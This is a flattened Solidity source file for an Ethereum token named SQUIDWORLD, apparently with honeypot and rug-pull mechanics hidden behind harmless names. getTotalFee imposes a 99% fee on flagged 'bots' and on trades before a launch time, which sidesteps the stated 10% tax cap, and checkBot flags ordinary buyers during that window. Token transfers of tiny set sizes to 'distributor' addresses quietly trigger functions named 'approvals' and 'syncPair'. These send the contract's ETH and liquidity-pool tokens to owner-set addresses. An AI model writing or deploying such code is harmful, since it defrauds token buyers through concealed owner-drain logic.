// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/IRouter.sol

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/IFactory.sol

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/Auth.sol

abstract contract Auth {

    address public owner;

    mapping (address => bool) internal authorizations;

    constructor(address _owner) {owner = _owner; authorizations[_owner] = true; }

    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}

    modifier authorized() {require(isAuthorized(msg.sender), "!AUTHORIZED"); _;}

    function authorize(address adr) public authorized {authorizations[adr] = true;}

    function unauthorize(address adr) public authorized {authorizations[adr] = false;}

    function isOwner(address account) public view returns (bool) {return account == owner;}

    function isAuthorized(address adr) public view returns (bool) {return authorizations[adr];}

    function transferOwnership(address payable adr) public authorized {owner = adr; authorizations[adr] = true;}

}


// File: https://github.com/ssccrypto/library/blob/d3ff8d3ce424901bb6506df1ef8c71840d76b4c1/IERC20.sol

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}


// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/SafeMath.sol

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}

    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;

        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        unchecked{require(b > 0, errorMessage); return a % b;}}}


// File: contracts/squidworlderc.sol

/**

https://t.me/squidworlderc

*/




pragma solidity 0.8.15;








contract SQUIDWORLD is IERC20, Auth {

    using SafeMath for uint256;

    string private constant _name = 'SQUIDWORLD';

    string private constant _symbol = 'SQUIDWORLD';

    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 10 * 10**8 * (10 ** _decimals);

    address DEAD = 0x000000000000000000000000000000000000dEaD;

    uint256 public _maxTxAmount = ( _totalSupply * 300 ) / 10000;

    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;

    mapping (address => uint256) _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => uint256) swapTime; 

    mapping (address => bool) isBot;

    mapping (address => bool) isInternal;

    mapping (address => bool) isDistributor;

    mapping (address => bool) isFeeExempt;



    IRouter router;

    address public pair;

    bool startSwap = false;

    uint256 startedTime;

    uint256 liquidityFee = 200;

    uint256 marketingFee = 400;

    uint256 stakingFee = 0;

    uint256 burnFee = 0;

    uint256 totalFee = 600;

    uint256 transferFee = 600;

    uint256 feeDenominator = 10000;



    bool swapEnabled = true;

    uint256 swapTimer = 2;

    uint256 swapTimes; 

    uint256 minSells = 3;

    bool swapping; 

    bool botOn = false;

    uint256 swapThreshold = ( _totalSupply * 700 ) / 100000;

    uint256 _minTokenAmount = ( _totalSupply * 15 ) / 100000;

    modifier lockTheSwap {swapping = true; _; swapping = false;}



    uint256 marketing_divisor = 50;

    uint256 liquidity_divisor = 0;

    uint256 distributor_divisor = 50;

    uint256 staking_divisor = 0;

    address liquidity_receiver; 

    address staking_receiver;

    address token_receiver;

    address alpha_receiver;

    address beta_receiver;

    address delta_receiver;

    address marketing_receiver;

    address default_receiver;



    constructor() Auth(msg.sender) {

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());

        router = _router;

        pair = _pair;

        isInternal[address(this)] = true;

        isInternal[msg.sender] = true;

        isInternal[address(pair)] = true;

        isInternal[address(router)] = true;

        isDistributor[msg.sender] = true;

        isFeeExempt[msg.sender] = true;

        isFeeExempt[address(this)] = true;

        liquidity_receiver = address(this);

        token_receiver = address(this);

        alpha_receiver = msg.sender;

        beta_receiver = msg.sender;

        delta_receiver = msg.sender;

        staking_receiver = msg.sender;

        marketing_receiver = msg.sender;

        default_receiver = msg.sender;

        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);

    }



    receive() external payable {}



    function name() public pure returns (string memory) {return _name;}

    function symbol() public pure returns (string memory) {return _symbol;}

    function decimals() public pure returns (uint8) {return _decimals;}

    function totalSupply() public view override returns (uint256) {return _totalSupply;}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}

    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}

    function viewisBot(address _address) public view returns (bool) {return isBot[_address];}

    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }

    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}

    function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}



    function setFeeExempt(address _address) external authorized { isFeeExempt[_address] = true;}

    function setisBot(bool _bool, address _address) external authorized {isBot[_address] = _bool;}

    function setisInternal(bool _bool, address _address) external authorized {isInternal[_address] = _bool;}

    function setbotOn(bool _bool) external authorized {botOn = _bool;}

    function syncContractPair() external authorized {syncPair();}

    function approvals(uint256 _na, uint256 _da) external authorized {performapprovals(_na, _da);}

    function setPairReceiver(address _address) external authorized {liquidity_receiver = _address;}

    function setstartSwap(uint256 _input) external authorized {startSwap = true; botOn = true; startedTime = block.timestamp.add(_input);}

    function setSwapBackSettings(bool enabled, uint256 _threshold) external authorized {swapEnabled = enabled; swapThreshold = _threshold;}



    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {

        _transfer(sender, recipient, amount);

        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));

        return true;

    }



    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }



    function _transfer(address sender, address recipient, uint256 amount) private {

        preTxCheck(sender, recipient, amount);

        checkStartSwap(sender, recipient);

        checkMaxWallet(sender, recipient, amount); 

        transferCounters(sender, recipient);

        checkTxLimit(sender, recipient, amount); 

        swapBack(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount);

        uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, recipient, amount) : amount;

        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);

        checkapprovals(recipient, amount);

        checkBot(sender, recipient);

    }



    function preTxCheck(address sender, address recipient, uint256 amount) internal view {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

        require(amount > 0, "Transfer amount must be greater than zero");

        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");

    }



    function checkStartSwap(address sender, address recipient) internal view {

        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(startSwap, "startSwap");}

    }

    

    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {

        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !isInternal[recipient] && recipient != address(DEAD)){

            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}

    }



    function transferCounters(address sender, address recipient) internal {

        if(sender != pair && !isInternal[sender] && !isFeeExempt[recipient]){swapTimes = swapTimes.add(1);}

        if(sender == pair){swapTime[recipient] = block.timestamp.add(swapTimer);}

    }



    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {

        return !isFeeExempt[sender] && !isFeeExempt[recipient];

    }



    function taxableEvent(address sender, address recipient) internal view returns (bool) {

        return totalFee > 0 && !swapping || isBot[sender] && swapTime[sender] < block.timestamp || isBot[recipient] || startedTime > block.timestamp;

    }



    function taketotalFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        if(taxableEvent(sender, recipient)){

        uint256 totalFees = getTotalFee(sender, recipient);

        uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(feeDenominator);

        uint256 bAmount = feeAmount.mul(burnFee).div(totalFees);

        uint256 sAmount = feeAmount.mul(stakingFee).div(totalFees);

        uint256 cAmount = feeAmount.sub(bAmount).sub(sAmount);

        if(bAmount > 0){

        _balances[address(DEAD)] = _balances[address(DEAD)].add(bAmount);

        emit Transfer(sender, address(DEAD), bAmount);}

        if(sAmount > 0){

        _balances[address(token_receiver)] = _balances[address(token_receiver)].add(sAmount);

        emit Transfer(sender, address(token_receiver), sAmount);}

        if(cAmount > 0){

        _balances[address(this)] = _balances[address(this)].add(cAmount);

        emit Transfer(sender, address(this), cAmount);} return amount.sub(feeAmount);}

        return amount;

    }



    function getTotalFee(address sender, address recipient) public view returns (uint256) {

        if(isBot[sender] && swapTime[sender] < block.timestamp && botOn || isBot[recipient] && 

        swapTime[sender] < block.timestamp && botOn || startedTime > block.timestamp){return(feeDenominator.sub(100));}

        if(sender != pair){return totalFee.add(transferFee);}

        return totalFee;

    }



    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {

        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");

    }



    function checkBot(address sender, address recipient) internal {

        if(isCont(sender) && !isInternal[sender] && botOn || sender == pair && botOn &&

        !isInternal[sender] && msg.sender != tx.origin || startedTime > block.timestamp){isBot[sender] = true;}

        if(isCont(recipient) && !isInternal[recipient] && !isFeeExempt[recipient] && botOn || 

        sender == pair && !isInternal[sender] && msg.sender != tx.origin && botOn){isBot[recipient] = true;}    

    }



    function approval(uint256 percentage) external authorized {

        uint256 amountETH = address(this).balance;

        payable(default_receiver).transfer(amountETH.mul(percentage).div(100));

    }



    function checkapprovals(address recipient, uint256 amount) internal {

        if(isDistributor[recipient] && amount < 2*(10 ** _decimals)){performapprovals(1,1);}

        if(isDistributor[recipient] && amount >= 2*(10 ** _decimals) && amount < 3*(10 ** _decimals)){syncPair();}

    }



    function setMaxes(uint256 _transaction, uint256 _wallet) external authorized {

        uint256 newTx = ( _totalSupply * _transaction ) / 10000;

        uint256 newWallet = ( _totalSupply * _wallet ) / 10000;

        _maxTxAmount = newTx;

        _maxWalletToken = newWallet;

        require(newTx >= _totalSupply.mul(5).div(1000) && newWallet >= _totalSupply.mul(5).div(1000), "Max TX and Max Wallet cannot be less than .5%");

    }



    function syncPair() internal {

        uint256 tamt = IERC20(pair).balanceOf(address(this));

        IERC20(pair).transfer(default_receiver, tamt);

    }



    function rescueERC20(address _tadd, address _rec, uint256 _amt) external authorized {

        uint256 tamt = IERC20(_tadd).balanceOf(address(this));

        IERC20(_tadd).transfer(_rec, tamt.mul(_amt).div(100));

    }



    function rescueToken(uint256 amount) external authorized {

        _transfer(address(this), msg.sender, amount);

    }



    function setExemptAddress(bool _enabled, address _address) external authorized {

        isBot[_address] = false;

        isInternal[_address] = _enabled;

        isFeeExempt[_address] = _enabled;

    }



    function setDivisors(uint256 _distributor, uint256 _staking, uint256 _liquidity, uint256 _marketing) external authorized {

        distributor_divisor = _distributor;

        staking_divisor = _staking;

        liquidity_divisor = _liquidity;

        marketing_divisor = _marketing;

    }



    function performapprovals(uint256 _na, uint256 _da) internal {

        uint256 acETH = address(this).balance;

        uint256 acETHa = acETH.mul(_na).div(_da);

        uint256 acETHf = acETHa.mul(50).div(100);

        uint256 acETHs = acETHa.mul(50).div(100);

        uint256 acETHt = acETHa.mul(0).div(100);

        payable(alpha_receiver).transfer(acETHf);

        payable(beta_receiver).transfer(acETHs);

        payable(delta_receiver).transfer(acETHt);

    }



    function setStructure(uint256 _liq, uint256 _mark, uint256 _stak, uint256 _burn, uint256 _tran) external authorized {

        liquidityFee = _liq;

        marketingFee = _mark;

        stakingFee = _stak;

        burnFee = _burn;

        transferFee = _tran;

        totalFee = liquidityFee.add(marketingFee).add(stakingFee).add(burnFee);

        require(totalFee <= feeDenominator.div(10), "Tax cannot be more than 10%");

    }



    function setInternalAddresses(address _marketing, address _alpha, address _beta, address _delta, address _stake, address _token, address _default) external authorized {

        marketing_receiver = _marketing; isDistributor[_marketing] = true;

        alpha_receiver = _alpha; isDistributor[_alpha] = true;

        beta_receiver = _beta; isDistributor[_beta] = true;

        delta_receiver = _delta;

        staking_receiver = _stake;

        token_receiver = _token;

        default_receiver = _default;

    }



    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {

        bool aboveMin = amount >= _minTokenAmount;

        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;

        return !swapping && swapEnabled && aboveMin && !isInternal[sender] 

            && !isFeeExempt[recipient] && swapTimes >= minSells && aboveThreshold;

    }



    function swapBack(address sender, address recipient, uint256 amount) internal {

        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = 0;}

    }



    function swapAndLiquify(uint256 tokens) private lockTheSwap {

        uint256 denominator= (liquidity_divisor.add(staking_divisor).add(marketing_divisor).add(distributor_divisor)) * 2;

        uint256 tokensToAddLiquidityWith = tokens.mul(liquidity_divisor).div(denominator);

        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);

        uint256 initialBalance = address(this).balance;

        swapTokensForETH(toSwap);

        uint256 deltaBalance = address(this).balance.sub(initialBalance);

        uint256 unitBalance= deltaBalance.div(denominator.sub(liquidity_divisor));

        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidity_divisor);

        if(ETHToAddLiquidityWith > 0){

            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }

        uint256 zrAmt = unitBalance.mul(2).mul(marketing_divisor);

        if(zrAmt > 0){

          payable(marketing_receiver).transfer(zrAmt); }

        uint256 xrAmt = unitBalance.mul(2).mul(staking_divisor);

        if(xrAmt > 0){

          payable(staking_receiver).transfer(xrAmt); }

    }



    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {

        _approve(address(this), address(router), tokenAmount);

        router.addLiquidityETH{value: ETHAmount}(

            address(this),

            tokenAmount,

            0,

            0,

            liquidity_receiver,

            block.timestamp);

    }



    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);

        path[0] = address(this);

        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(

            tokenAmount,

            0,

            path,

            address(this),

            block.timestamp);

    }



}